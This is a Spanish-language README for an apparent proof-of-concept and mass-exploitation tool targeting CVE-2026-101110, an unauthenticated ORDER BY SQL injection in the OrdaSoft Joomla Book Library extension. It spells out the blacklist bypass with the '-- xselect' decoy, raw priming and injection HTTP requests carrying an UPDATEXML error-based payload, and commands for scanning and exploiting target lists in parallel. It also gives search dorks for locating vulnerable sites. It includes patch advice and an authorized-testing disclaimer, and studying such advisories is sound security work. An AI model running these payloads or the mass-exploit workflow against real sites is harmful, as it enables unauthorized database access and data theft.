
PoC en Python 3 y exploit masivo para CVE-2026-101110, una inyección SQL ORDER BY no autenticada en OrdaSoft Joomla Book Library <=6.4.6 a través de los parámetros field/direction.
PoC en Python 3 para CVE-2026-101110 — OrdaSoft Book Library (Free) para Joomla ≤ 6.4.6. Actualice a 6.4.7+.
| PoCbit | https://pocbit.org/pocs/cve-2026-101110 |
| Catálogo | https://pocbit.org/pocs/ |
| Componente | com_booklibrary |
| Archivo / función | site/booklibrary.php → books() |
| Parámetros | field, direction (ordenación) |
| Autenticación | Ninguna (listados públicos de libros) |
| CWE | CWE-89 Inyección SQL |
| CVSS 4.0 | 9.3 Crítica (Joomla CNA) |
| Crédito | Ala Arfaoui |
Book Library (Free) es una extensión de OrdaSoft que ofrece bibliotecas de libros / listados de categorías en Joomla. En las versiones 6.4.6 y anteriores, la función books() filtra los parámetros field y direction con protectInjectionWithoutQuote(). Esta función solo aplica una lista negra débil que busca la subcadena select; al encontrarla, envuelve el valor con $db->quote(), pero no lo rechaza.
Los valores se añaden después a una expresión ORDER BY sin comillas — usar comillas aquí no detiene la inyección SQL (descripción del CNA).
Dos condiciones para la explotación:
field / direction) almacenados en la sesión. -- xselect al final de la carga útil; pasa la comprobación de la lista negra y el comentario SQL no afecta al resto de la carga útil.Resultado: SQLi en ORDER BY sin autenticación, con riesgo crítico para la lectura/escritura de la base de datos y la integridad del sitio.
Request 1 (prime): ...&field=title&direction=ASC → session sort defaults
Request 2 (inject): ...&field=<expr> -- xselect&direction=ASC
└─ concatenated into ORDER BY (unquoted)
Filtro débil (conceptual):
select (subcadena) → envuelve todo el valor entre comillas (irrelevante en el contexto de ORDER BY).-- xselect para que la lista negra vea select dentro de la cola del comentario, mientras que la expresión activa antes de -- sigue siendo SQL ejecutable (técnicas de error-based / UPDATEXML / ORDER BY apilado).El PoC implementa:
| Paso | Acción |
|---|---|
| Fingerprint | Rutas de com_booklibrary + versión opcional del manifiesto |
| Descubrimiento de rutas | showCategory, search, showBooks, books, … + catid / Itemid extraídos |
| check | Preparar sesión → confirmar SQLi (flag / VERSION()) |
| exploit | Preparar → extracción con --subquery (por defecto SELECT VERSION()) |
| mass | --list + objetivos paralelos con -j; exploited.txt al filtrar con éxito |
Constante del sufijo de carga útil en el código: -- xselect (BLACKLIST_DECOY).
cd CVE-2026-101110
pip install -r requirements.txt
python poc.py -u https://target.example --mode check
python poc.py -u https://target.example --mode check --aggressive
python poc.py -u https://target.example --mode exploit
python poc.py -u https://target.example --mode exploit --subquery "SELECT user()"
python poc.py --list targets.example.txt --mode check -j 40 --vuln-list hits.txt
python poc.py --list hits.txt --mode exploit -j 12 --subquery "SELECT VERSION()" --exploited-list exploited.txt
| Flag | Significado |
|---|---|
--aggressive | El modo check intenta filtrar la versión tras la preparación |
--subquery | Expresión interna para cargas útiles UPDATEXML / doble consulta |
--exploited-list | Extracciones exitosas separadas por tabulaciones |
--no-color | Desactiva ANSI (también NO_COLOR) |
JSONL: pocbit, pocbit_catalog, pocbit_page, cve, component, session_primed.
Preparación (sesión):
GET /index.php?option=com_booklibrary&task=showCategory&catid=1&field=title&direction=ASC HTTP/1.1
Inyección (el PoC añade el señuelo):
GET /index.php?option=com_booklibrary&task=showCategory&catid=1&field=UPDATEXML(1,CONCAT(0x7e,(VERSION()),0x7e),1) -- xselect&direction=ASC HTTP/1.1
Se intentan variantes POST en la misma ruta cuando GET falla.
Manifiesto (si está expuesto):
/administrator/components/com_booklibrary/booklibrary.xml≤ 6.4.6 → línea vulnerable; ≥ 6.4.7 → parcheada (patched_version en la salida de check).
body="option=com_booklibrary"
body="/components/com_booklibrary/" && body="Joomla"
body="com_booklibrary" && (body="booklibrary" || body="Book Library")
body="ordasoft" && body="booklibrary"
| CVE | Extensión | Problema | Corregido |
|---|---|---|---|
| CVE-2026-101110 | Book Library | SQLi en ORDER BY + bypass de lista negra | 6.4.7 |
| CVE-2026-101111 | Book Library | XSS reflejado (parámetro title) | 6.4.7 |
| CVE-2026-101108 | Vehicle Manager | SQLi en ORDER BY | 6.5.8 |
| CVE-2026-100752 | Real Estate Manager | SQLi en ORDER BY | 6.7.9 |
Parchee todos los componentes de OrdaSoft que despliegue.
com_booklibrary en tareas de búsqueda/préstamo (CVE-2010-1522) — rutas de código diferentesSolo pruebas autorizadas y validación de parches.
CVE-2026-101110 PoC: OrdaSoft Joomla Book Library (Free) <=6.4.6 unauth SQLi — field/direction ORDER BY, session prime + `-- xselect` blacklist bypass (com_booklibrary). Colored check + mass exploit, CVSS 9.3. https://pocbit.org/pocs/cve-2026-101110